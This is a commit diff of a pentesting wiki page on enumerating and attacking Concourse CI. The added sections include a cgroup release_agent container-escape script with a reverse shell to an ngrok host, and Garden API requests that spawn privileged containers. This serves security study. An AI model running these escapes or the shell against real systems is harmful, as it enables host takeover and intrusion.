GitBook: [#3065] No subject

cloud-security/concourse/README.md

@@ -2,23 +2,29 @@
 
 **Concourse allows you to build pipelines to automatically run tests, actions and build images whenever you need it (time based, when something happens...)**
 
-## User Roles & Permissions
+## Concourse Architecture
 
-Concourse comes with five roles:
+Learn how the concourse environment is structured in:
 
-* _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
-* **owner**: Team owners can **modify everything within the team**.
-* **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
-* **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
-* **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
+{% content-ref url="concourse-architecture.md" %}
+[concourse-architecture.md](concourse-architecture.md)
+{% endcontent-ref %}
 
-{% hint style="info" %}
-Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
-{% endhint %}
+## Run Concourse Locally
 
-Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
+Learn how you can run a concourse environment locally to do your own tests in:
 
-##
+{% content-ref url="concourse-lab-creation.md" %}
+[concourse-lab-creation.md](concourse-lab-creation.md)
+{% endcontent-ref %}
+
+## Enumerate & Attack Concourse
+
+Learn how you can enumerate the concourse environment and abuse it in:
+
+{% content-ref url="concourse-enumeration-and-attacks.md" %}
+[concourse-enumeration-and-attacks.md](concourse-enumeration-and-attacks.md)
+{% endcontent-ref %}
 
 ## References
 

cloud-security/concourse/concourse-enumeration-and-attacks.md

@@ -1,6 +1,20 @@
 # Concourse Enumeration & Attacks
 
+## User Roles & Permissions
 
+Concourse comes with five roles:
+
+* _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
+* **owner**: Team owners can **modify everything within the team**.
+* **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
+* **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
+* **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
+
+{% hint style="info" %}
+Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
+{% endhint %}
+
+Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
 
 ## Vars & Credential Manager
 
@@ -98,6 +112,8 @@ rm /tmp/secrets.txt
   * `fly -t <target> workers`
 * List **containers**:
   * `fly -t <target> containers`
+* List **builds** (to see what is running):
+  * `fly -t <target> builds`
 
 ## Concourse Attacks
 
@@ -106,6 +122,10 @@ rm /tmp/secrets.txt
 * admin:admin
 * test:test
 
+### Secrets and params enumeration
+
+In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
+
 ### Session inside running or recently run container
 
 If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `<pipeline>/<job>` **container** using:
@@ -182,7 +202,7 @@ params:
 fly -t tutorial execute --privileged --config task_config.yml
 ```
 
-### Escaping to the node
+### Escaping to the node from privileged task
 
 In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
 
@@ -249,3 +269,126 @@ cat /output
 {% hint style="warning" %}
 As you might have noticed this is just a [**regular release\_agent escape**](../../linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation.md#privileged) just modifying the path of the cmd in the node
 {% endhint %}
+
+### Escaping to the node from a Worker container
+
+A regular release\_agent escape with a minor modification is enough for this:
+
+```bash
+mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
+
+# Enables cgroup notifications on release of the "x" cgroup
+echo 1 > /tmp/cgrp/x/notify_on_release
+host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
+echo "$host_path/cmd" > /tmp/cgrp/release_agent
+
+#====================================
+#Reverse shell
+echo '#!/bin/bash' > /cmd
+echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
+chmod a+x /cmd
+#====================================
+# Get output
+echo '#!/bin/sh' > /cmd
+echo "ps aux > $host_path/output" >> /cmd
+chmod a+x /cmd
+#====================================
+
+# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
+sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
+
+# Reads the output
+cat /output
+```
+
+### Abusing Garden Service - Not a real Attack
+
+{% hint style="warning" %}
+This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
+{% endhint %}
+
+By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
+
+* It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
+* The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
+
+Concourse workers run with high container privileges:
+
+```
+Container Runtime: docker
+Has Namespaces:
+	pid: true
+	user: false
+AppArmor Profile: kernel
+Capabilities:
+	BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
+Seccomp: disabled
+```
+
+However, techniques like **mounting** the /dev device of the node or release\_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
+
+{% hint style="info" %}
+In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
+{% endhint %}
+
+Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
+
+#### Getting inside a running privileged container
+
+```bash
+# Get current container
+curl 127.0.0.1:7777/containers
+{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}
+
+# Get container info
+curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
+curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
+
+# Execute a new process inside a container
+## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
+wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
+  --header='Content-Type:application/json' \
+  'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
+
+# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
+nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
+```
+
+#### Creating a new privileged container
+
+You can very easily create a new container (just run a random UID) and execute something on it:
+
+```bash
+curl -X POST http://127.0.0.1:7777/containers \
+   -H 'Content-Type: application/json' \
+   -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
+
+# Wget will be stucked there as long as the process is being executed
+wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
+  --header='Content-Type:application/json' \
+  'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
+```
+
+However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
+
+```
+GET /containers HTTP/1.1.
+Host: 127.0.0.1:7777.
+User-Agent: Go-http-client/1.1.
+Accept-Encoding: gzip.
+.
+
+T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
+HTTP/1.1 200 OK.
+Content-Type: application/json.
+Date: Thu, 17 Mar 2022 22:42:55 GMT.
+Content-Length: 131.
+.
+{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}
+
+T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
+DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
+Host: 127.0.0.1:7777.
+User-Agent: Go-http-client/1.1.
+Accept-Encoding: gzip.
+```